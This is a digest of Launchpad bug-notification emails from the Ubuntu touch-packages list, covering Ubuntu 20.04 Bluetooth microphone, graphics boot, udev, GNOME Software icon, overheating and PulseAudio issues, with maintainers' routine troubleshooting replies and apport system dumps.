[Touch-packages] [Bug 1879615] Re: headset microphone not working

2020-05-19 Thread Daniel van Vugt
Please try:

  Settings > Sound > Output > Configuration = Headset Head Unit
(HSP/HFP)

Now does the microphone work?


** Changed in: bluez (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1879615

Title:
  headset microphone not working

Status in bluez package in Ubuntu:
  Incomplete

Bug description:
  I can here sound in my bluetooth headsets (I tried several)
  but I cannot make the microphone work

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  Uname: Linux 5.6.11-050611-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Wed May 20 07:29:30 2020
  DistributionChannelDescriptor:
   # This is the distribution channel descriptor for the OEM CDs
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-bionic-amd64-20180608-47+beaver-three-eyed-raven+X92
  InstallationDate: Installed on 2019-11-13 (188 days ago)
  InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 
20180608-09:38
  InterestingModules: rfcomm bnep btusb bluetooth
  MachineType: Dell Inc. XPS 13 7390
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.6.11-050611-generic 
root=UUID=a07ae209-275c-4c8b-985d-ba52e5f7f214 ro quiet splash 
mem_sleep_default=deep vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: Upgraded to focal on 2020-05-13 (6 days ago)
  dmi.bios.date: 03/26/2020
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.5.1
  dmi.board.name: 0G2D0W
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.5.1:bd03/26/2020:svnDellInc.:pnXPS137390:pvr:rvnDellInc.:rn0G2D0W:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: XPS
  dmi.product.name: XPS 13 7390
  dmi.product.sku: 0962
  dmi.sys.vendor: Dell Inc.
  hciconfig:
   hci0:Type: Primary  Bus: USB
BD Address: 4C:1D:96:DA:9E:12  ACL MTU: 1021:4  SCO MTU: 96:6
UP RUNNING PSCAN ISCAN 
RX bytes:130281 acl:173 sco:0 events:15048 errors:0
TX bytes:4105451 acl:5549 sco:12 commands:8979 errors:0

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1879615/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879615] [NEW] headset microphone not working

2020-05-19 Thread dani
Public bug reported:

I can here sound in my bluetooth headsets (I tried several)
but I cannot make the microphone work

ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: bluez 5.53-0ubuntu3
Uname: Linux 5.6.11-050611-generic x86_64
ApportVersion: 2.20.11-0ubuntu27
Architecture: amd64
CasperMD5CheckResult: skip
CurrentDesktop: ubuntu:GNOME
Date: Wed May 20 07:29:30 2020
DistributionChannelDescriptor:
 # This is the distribution channel descriptor for the OEM CDs
 # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor
 canonical-oem-somerville-bionic-amd64-20180608-47+beaver-three-eyed-raven+X92
InstallationDate: Installed on 2019-11-13 (188 days ago)
InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 
20180608-09:38
InterestingModules: rfcomm bnep btusb bluetooth
MachineType: Dell Inc. XPS 13 7390
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.6.11-050611-generic 
root=UUID=a07ae209-275c-4c8b-985d-ba52e5f7f214 ro quiet splash 
mem_sleep_default=deep vt.handoff=7
SourcePackage: bluez
UpgradeStatus: Upgraded to focal on 2020-05-13 (6 days ago)
dmi.bios.date: 03/26/2020
dmi.bios.vendor: Dell Inc.
dmi.bios.version: 1.5.1
dmi.board.name: 0G2D0W
dmi.board.vendor: Dell Inc.
dmi.board.version: A00
dmi.chassis.type: 10
dmi.chassis.vendor: Dell Inc.
dmi.modalias: 
dmi:bvnDellInc.:bvr1.5.1:bd03/26/2020:svnDellInc.:pnXPS137390:pvr:rvnDellInc.:rn0G2D0W:rvrA00:cvnDellInc.:ct10:cvr:
dmi.product.family: XPS
dmi.product.name: XPS 13 7390
dmi.product.sku: 0962
dmi.sys.vendor: Dell Inc.
hciconfig:
 hci0:  Type: Primary  Bus: USB
BD Address: 4C:1D:96:DA:9E:12  ACL MTU: 1021:4  SCO MTU: 96:6
UP RUNNING PSCAN ISCAN 
RX bytes:130281 acl:173 sco:0 events:15048 errors:0
TX bytes:4105451 acl:5549 sco:12 commands:8979 errors:0

** Affects: bluez (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug focal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1879615

Title:
  headset microphone not working

Status in bluez package in Ubuntu:
  New

Bug description:
  I can here sound in my bluetooth headsets (I tried several)
  but I cannot make the microphone work

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  Uname: Linux 5.6.11-050611-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Wed May 20 07:29:30 2020
  DistributionChannelDescriptor:
   # This is the distribution channel descriptor for the OEM CDs
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-bionic-amd64-20180608-47+beaver-three-eyed-raven+X92
  InstallationDate: Installed on 2019-11-13 (188 days ago)
  InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 
20180608-09:38
  InterestingModules: rfcomm bnep btusb bluetooth
  MachineType: Dell Inc. XPS 13 7390
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.6.11-050611-generic 
root=UUID=a07ae209-275c-4c8b-985d-ba52e5f7f214 ro quiet splash 
mem_sleep_default=deep vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: Upgraded to focal on 2020-05-13 (6 days ago)
  dmi.bios.date: 03/26/2020
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.5.1
  dmi.board.name: 0G2D0W
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.5.1:bd03/26/2020:svnDellInc.:pnXPS137390:pvr:rvnDellInc.:rn0G2D0W:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: XPS
  dmi.product.name: XPS 13 7390
  dmi.product.sku: 0962
  dmi.sys.vendor: Dell Inc.
  hciconfig:
   hci0:Type: Primary  Bus: USB
BD Address: 4C:1D:96:DA:9E:12  ACL MTU: 1021:4  SCO MTU: 96:6
UP RUNNING PSCAN ISCAN 
RX bytes:130281 acl:173 sco:0 events:15048 errors:0
TX bytes:4105451 acl:5549 sco:12 commands:8979 errors:0

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1879615/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879546] Re: I'm not able to boot if not in nomodeset mode. OS isn't able to use Intel Graphics card

2020-05-19 Thread Daniel van Vugt
We will need to see what the system log looks like without nomodeset.
Please remove that and try booting again. After that, reboot with
nomodeset and run this command to collect the system log of the failed
boot:

  journalctl -b-1 > prevboot.txt

and attach the resulting text file here.

P.S. Please also avoid using nvidia-drm.modeset=1 as we do not support
that -- it will cause additional bugs.

** Package changed: xorg (Ubuntu) => ubuntu

** Changed in: ubuntu
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1879546

Title:
  I'm not able to boot if not in nomodeset mode. OS isn't able to use
  Intel Graphics card

Status in Ubuntu:
  Incomplete

Bug description:
  I'm running 18.04 on a Intel. My computer came with Ubuntu installed
  and a Nvidia GeForce MX150 Graphics Card, but I've never been able to
  use it, as it always freezes my screen. For a year, I've been using
  the Intel Graphics Card instead. The problem is, I got my python3
  installation really messed up and had to do a Factory Reset to be able
  to boot again (as unfortunately I had no backup).

  Since I've had this problem in the past, I've been able to more or
  less reproduce the steps I've made to get my computer working with
  Intel Graphics. Some of them were:

  Purge NVIDIA Graphics:

  sudo apt-get remove --purge nvidia*

  Install lightdm, as the default manager got my login screen freezing
  too:

  sudo apt-get install lightdm

  Edit grub settings so I could boot in nomodeset at least:

  GRUB_CMDLINE_LINUX="mem_sleep_default=deep nomodeset"

  (I believe this probably wasn't the right place to write nomodeset,
  but I'm not the more experienced user and thought I should remove
  nvidia-drm.modeset=1 from my boot settings as I didn't want anything
  to do with NVIDIA.)

  After login with lightdm in nomodeset, I got that the used Graphics
  Card is llvmpipe (LLVM 9.0, 256 bits), not Intel UHD Graphics, which
  is the desired one.

  So I've installed NVIDIA repo again (sudo add-apt-repository ppa
  :graphics-drivers/ppa) and also Nvidia settings for being able to
  prime-select intel as the Graphics Card.

  My desire is to be able to boot with Intel UHD Graphics but without
  nomodeset. How should my grub file look like? It's currently like
  that:

  GRUB_DEFAULT=0
  GRUB_TIMEOUT_STYLE=hidden
  GRUB_TIMEOUT=0
  GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
  GRUB_CMDLINE_LINUX_DEFAULT="nosplash quiet nomodeset"
  GRUB_CMDLINE_LINUX=""

  And this is my lsmod log:

  `
  Module  Size  Used by
  ccm20480  3
  rfcomm 77824  4
  cmac   16384  1
  bnep   20480  2
  uvcvideo   86016  0
  videobuf2_vmalloc  16384  1 uvcvideo
  videobuf2_memops   16384  1 videobuf2_vmalloc
  btusb  45056  0
  videobuf2_v4l2 24576  1 uvcvideo
  btrtl  16384  1 btusb
  videobuf2_core 40960  2 videobuf2_v4l2,uvcvideo
  btbcm  16384  1 btusb
  btintel16384  1 btusb
  videodev  188416  3 videobuf2_core,videobuf2_v4l2,uvcvideo
  bluetooth 548864  33 btrtl,btintel,btbcm,bnep,btusb,rfcomm
  media  40960  2 videodev,uvcvideo
  ecdh_generic   24576  2 bluetooth
  nls_iso8859_1  16384  1
  snd_hda_codec_hdmi 53248  1
  hid_multitouch 20480  0
  arc4   16384  2
  dell_smm_hwmon 16384  0
  intel_rapl 20480  0
  x86_pkg_temp_thermal16384  0
  dell_laptop20480  0
  intel_powerclamp   16384  0
  coretemp   16384  0
  snd_soc_skl86016  0
  snd_hda_codec_realtek   106496  1
  snd_soc_skl_ipc65536  1 snd_soc_skl
  snd_hda_codec_generic73728  1 snd_hda_codec_realtek
  snd_hda_ext_core   24576  1 snd_soc_skl
  snd_soc_sst_dsp32768  1 snd_soc_skl_ipc
  kvm_intel 217088  0
  snd_soc_sst_ipc16384  1 snd_soc_skl_ipc
  kvm   610304  1 kvm_intel
  snd_soc_acpi   16384  1 snd_soc_skl
  irqbypass  16384  1 kvm
  crct10dif_pclmul   16384  0
  snd_soc_core  241664  1 snd_soc_skl
  crc32_pclmul   16384  0
  ghash_clmulni_intel16384  0
  snd_compress   20480  1 snd_soc_core
  ac97_bus   16384  1 snd_soc_core
  pcbc   16384  0
  snd_pcm_dmaengine  16384  1 snd_soc_core
  snd_hda_intel  45056  3
  snd_hda_codec 131072  4 
snd_hda_codec_generic,snd_hda_codec_hdmi,snd_hda_intel,snd_hda_codec_realtek
  aesni_intel   188416  4
  aes_x86_64 20480  1 aesni_intel
  snd_hda_core   81920  7 
snd_hda_codec_generic,snd_hda_codec_hdmi,snd_hda_intel,snd_hda_ext_core,snd_hda_codec,snd_hda_codec_realtek,snd_soc_skl

Re: [Touch-packages] [Bug 1877895] Re: package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso instalado, do pacote udev, o script post-installation retornou erro do status de saída 1

2020-05-19 Thread Jacson Syncler Silva de Assis
I need reinstal the S.O again for to solve this problem?

Em terça-feira, 19 de maio de 2020 07:56:11 BRT, Balint Reczey 
 escreveu:  
 
 Looks like the file got damaged on disk somehow.

** Changed in: systemd (Ubuntu)
      Status: Incomplete => Invalid

-- 
You received this bug notification because you are subscribed to the bug
report.
https://bugs.launchpad.net/bugs/1877895

Title:
  package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso
  instalado, do pacote udev, o script post-installation retornou erro do
  status de saída 1

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  after updating from 18.04 to 20.04, appears errors constantly

  ProblemType: Package
  DistroRelease: Ubuntu 20.04
  Package: udev 245.4-4ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CustomUdevRuleFiles: 70-snap.spotify.rules 70-snap.core.rules
  Date: Sat May  9 10:24:26 2020
  ErrorMessage: o subprocesso instalado, do pacote udev, o script 
post-installation retornou erro do status de saída 1
  InstallationDate: Installed on 2020-05-09 (1 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Sony Corporation SVE15125CBW
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-29-generic 
root=UUID=53223737-2091-4487-a0b3-a2b80db164ad ro quiet splash
  Python3Details: /usr/bin/python3.8, Python 3.8.2, python3-minimal, 
3.8.2-0ubuntu2
  PythonDetails: /usr/bin/python2.7, Python 2.7.18rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
  dpkg 1.19.7ubuntu3
  apt  2.0.2
  SourcePackage: systemd
  Title: package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso 
instalado, do pacote udev, o script post-installation retornou erro do status 
de saída 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/14/2012
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: R0170D5
  dmi.board.asset.tag: N/A
  dmi.board.name: VAIO
  dmi.board.vendor: Sony Corporation
  dmi.board.version: N/A
  dmi.chassis.asset.tag: N/A
  dmi.chassis.type: 10
  dmi.chassis.vendor: Sony Corporation
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrR0170D5:bd11/14/2012:svnSonyCorporation:pnSVE15125CBW:pvrC800EQPLK:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A:
  dmi.product.family: VAIO
  dmi.product.name: SVE15125CBW
  dmi.product.sku: 54508549
  dmi.product.version: C800EQPLK
  dmi.sys.vendor: Sony Corporation

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1877895/+subscriptions

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1877895

Title:
  package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso
  instalado, do pacote udev, o script post-installation retornou erro do
  status de saída 1

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  after updating from 18.04 to 20.04, appears errors constantly

  ProblemType: Package
  DistroRelease: Ubuntu 20.04
  Package: udev 245.4-4ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CustomUdevRuleFiles: 70-snap.spotify.rules 70-snap.core.rules
  Date: Sat May  9 10:24:26 2020
  ErrorMessage: o subprocesso instalado, do pacote udev, o script 
post-installation retornou erro do status de saída 1
  InstallationDate: Installed on 2020-05-09 (1 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Sony Corporation SVE15125CBW
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-29-generic 
root=UUID=53223737-2091-4487-a0b3-a2b80db164ad ro quiet splash
  Python3Details: /usr/bin/python3.8, Python 3.8.2, python3-minimal, 
3.8.2-0ubuntu2
  PythonDetails: /usr/bin/python2.7, Python 2.7.18rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.7ubuntu3
   apt  2.0.2
  SourcePackage: systemd
  Title: package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso 
instalado, do pacote udev, o script post-installation retornou erro do status 
de saída 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/14/2012
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: R0170D5
  dmi.board.asset.tag: N/A
  dmi.board.name: VAIO
  dmi.board.vendor: Sony Corporation
  dmi.board.version: N/A
  dmi.chassis.asset.tag: N/A
  dmi.chassis.type: 10
  dmi.chassis.vendor: Sony Corporation
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrR0170D5:bd11/14/2012:svnSonyCorporation:pnSVE15125CBW:pvrC800EQPLK:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A:
  

[Touch-packages] [Bug 1864307] Re: Many apps have no icon in Software on Focal

2020-05-19 Thread Ken VanDine
** Changed in: snap-store
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1864307

Title:
  Many apps have no icon in Software on Focal

Status in GNOME Software:
  Unknown
Status in snap-store:
  Fix Released
Status in gnome-software package in Ubuntu:
  Confirmed
Status in ubuntu-meta package in Ubuntu:
  Fix Released
Status in gnome-software source package in Focal:
  Confirmed
Status in ubuntu-meta source package in Focal:
  Fix Committed

Bug description:
  Many applications have no icon displayed in GNOME Software 3.35.91 on
  latest Ubuntu Focal. See the attached screenshot.

  
  [Impact] 

   * Some apt packages do not include an icon in snap-store

  [Test Case]

   * Open snap-store, search for GCompris and confirm there is an
  appropriate icon

  [Regression Potential]

   * Very low.  Previous Ubuntu releases including apt-config-icons
  based on the depends in gnome-software.  This just adds an apt config
  that can be used to fetch icons for apt packages via apt.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gnome-software/+bug/1864307/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879484] Re: Lenovo X1 Extreme with thunderbolt docking station causes overheat with concert of fans

2020-05-19 Thread Daniel van Vugt
The first problem I can see is that this machine is using the 'intel'
graphics driver for the Intel GPU. That's a mistake as it's an old
driver. The Intel GPU should be using the 'modeset' driver. Please
remove the 'intel' driver from your Xorg config files and/or just
uninstall the package 'xserver-xorg-video-intel' and reboot.

If the heat problem still persists then next please run 'top' to confirm
which process is using the most CPU.


** Changed in: xorg (Ubuntu)
   Status: New => Incomplete

** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1879484

Title:
  Lenovo X1 Extreme with thunderbolt docking station causes overheat
  with concert of fans

Status in xorg-server package in Ubuntu:
  Incomplete

Bug description:
  Hey everyone,
  after resolving some of the problems I got after upgrading to 20.04 [1] I'm 
now using my Lenovo X1 Extreme Gen 2 with the thunderbolt docking station (and 
an HDMI monitor attached).
  Everything worked out of the box, except for the increased general heat of 
the system (constantly over 70 °C) and the consequent concert of fans that 
makes working aside the (closed) laptop almost impossible.
  It is really hard to understand if there's a specific process causing the CPU 
to be so constantly stressed, and what is more curious is that monitoring the 
general status of the system resources (CPU, Memory and so on) there are no 
peaks, it shows a normal usage, which is what I do: browser, mail, and some 
console. Something I would expect that with 16 cpu and 32 gigs of RAM should 
not be a concern.

  Both thermald and tlp services are obviously installed and running.

  [1] https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1876741

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: xorg 1:7.7+19ubuntu14
  ProcVersionSignature: Ubuntu 5.6.0-1008.8-oem 5.6.4
  Uname: Linux 5.6.0-1008-oem x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: 
'/proc/driver/nvidia/gpus/:01:00.0'
  .proc.driver.nvidia.registry: Binary: ""
  .proc.driver.nvidia.suspend: suspend hibernate resume
  .proc.driver.nvidia.suspend_depth: default modeset uvm
  .proc.driver.nvidia.version:
   NVRM version: NVIDIA UNIX x86_64 Kernel Module  440.64  Fri Feb 21 01:17:26 
UTC 2020
   GCC version:
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  BootLog:
   
  CasperMD5CheckResult: skip
  CompositorRunning: None
  Date: Tue May 19 12:41:24 2020
  DistUpgraded: 2020-04-28 11:09:59,157 DEBUG Running PostInstallScript: 
'./xorg_fix_proprietary.py'
  DistroCodename: focal
  DistroVariant: ubuntu
  DkmsStatus:
   backport-iwlwifi, 8324, 5.4.0-31-generic, x86_64: installed
   nvidia, 440.64, 5.4.0-31-generic, x86_64: installed
   nvidia, 440.64, 5.6.0-1008-oem, x86_64: installed (WARNING! Diff between 
built and installed module!) (WARNING! Diff between built and installed 
module!) (WARNING! Diff between built and installed module!)
  ExtraDebuggingInterest: Yes, including running git bisection searches
  GraphicsCard:
   Intel Corporation UHD Graphics 630 (Mobile) [8086:3e9b] (rev 02) (prog-if 00 
[VGA controller])
 Subsystem: Lenovo UHD Graphics 630 (Mobile) [17aa:229f]
   NVIDIA Corporation TU117M [GeForce GTX 1650 Mobile / Max-Q] [10de:1f91] (rev 
a1) (prog-if 00 [VGA controller])
 Subsystem: Lenovo TU117M [GeForce GTX 1650 Mobile / Max-Q] [17aa:229f]
  InstallationDate: Installed on 2019-12-10 (161 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  MachineType: LENOVO 20QVCTO1WW
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.6.0-1008-oem 
root=UUID=c61df9cc-bd36-4ed2-8f52-de114bbf3fc3 ro rd.driver.blacklist=nouveau 
modprobe.blacklist=nouveau
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: Upgraded to focal on 2020-04-28 (21 days ago)
  dmi.bios.date: 01/20/2020
  dmi.bios.vendor: LENOVO
  dmi.bios.version: N2OET42W (1.29 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20QVCTO1WW
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0T08861 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrN2OET42W(1.29):bd01/20/2020:svnLENOVO:pn20QVCTO1WW:pvrThinkPadX1Extreme2nd:rvnLENOVO:rn20QVCTO1WW:rvrSDK0T08861WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.family: ThinkPad X1 Extreme 2nd
  dmi.product.name: 20QVCTO1WW
  dmi.product.sku: LENOVO_MT_20QV_BU_Think_FM_ThinkPad X1 Extreme 2nd
  dmi.product.version: ThinkPad X1 Extreme 2nd
  dmi.sys.vendor: LENOVO
  version.compiz: compiz N/A
  version.libdrm2: libdrm2 2.4.101-2
  version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.4-2ubuntu1
  version.libgl1-mesa-glx: libgl1-mesa-glx N/A
  version.nvidia-graphics-drivers: 

[Touch-packages] [Bug 1878702] Re: [UX530UX, Realtek ALC295, Speaker, Internal] No sound

2020-05-19 Thread Daniel van Vugt
Does that mean you have resolved the issue?

** Changed in: pulseaudio (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1878702

Title:
  [UX530UX, Realtek ALC295, Speaker, Internal] No sound

Status in pulseaudio package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to 20.04 from 18.04, I cannot hear anything, music and videos.
  In Settings/Sound "System Volume" and "Volume Levels" are OK, I can decrease 
and increase the volume, but I don't hear anything. Only "Input Volume" has the 
Speaker icon a cross, but I can increase and decrease the level. 

  1. DistroRelease: Ubuntu 20.04 
  2. Package:  pulseaudio 1:13.99.1-1ubuntu3.2 
  3. I expect hear music or video 
  4. None sound came from the computer.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D2', '/dev/snd/hwC0D0', 
'/dev/snd/pcmC0D10p', '/dev/snd/pcmC0D9p', '/dev/snd/pcmC0D8p', 
'/dev/snd/pcmC0D7p', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Thu May 14 23:38:54 2020
  InstallationDate: Installed on 2018-05-14 (731 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  SourcePackage: pulseaudio
  Symptom: audio
  Symptom_Card: HDA-Intel - HDA Intel PCH
  Symptom_Jack: Speaker, Internal
  Title: [UX530UX, Realtek ALC295, Speaker, Internal] Pulseaudio fails to 
detect card
  UpgradeStatus: Upgraded to focal on 2020-05-13 (1 days ago)
  dmi.bios.date: 03/03/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX530UX.301
  dmi.board.asset.tag: ATN12345678901234567
  dmi.board.name: UX530UX
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: ASUSTeK COMPUTER INC.
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrUX530UX.301:bd03/03/2017:svnASUSTeKCOMPUTERINC.:pnUX530UX:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX530UX:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:
  dmi.product.family: UX
  dmi.product.name: UX530UX
  dmi.product.version: 1.0
  dmi.sys.vendor: ASUSTeK COMPUTER INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1878702/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878327] Re: [Dell Inspiron 1525] Pulse audio update made internal speakers as Dummy Output

2020-05-19 Thread Daniel van Vugt
*** This bug is a duplicate of bug 1876065 ***
https://bugs.launchpad.net/bugs/1876065

It was a regression in an update, not in the release.

** Tags removed: regression-release
** Tags added: regression-update

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1878327

Title:
  [Dell Inspiron 1525] Pulse audio update made internal speakers as
  Dummy Output

Status in pulseaudio package in Ubuntu:
  Confirmed

Bug description:
  I had already reported bug #1876238 where internal speakers are not
  detected but shown as Dummy Output after upgrading Ubuntu from 19.10
  to 20.04 LTS Focal.

  It was solved by this patch:
  https://launchpad.net/~kaihengfeng/+archive/ubuntu/fix-lp1869819

  The current PulseAudio update today reversed that again. Internal
  speakers are not being detected and are shown as Dummy Output.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  raj2016 F pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Wed May 13 09:02:53 2020
  InstallationDate: Installed on 2016-12-20 (1239 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/27/2008
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A13
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
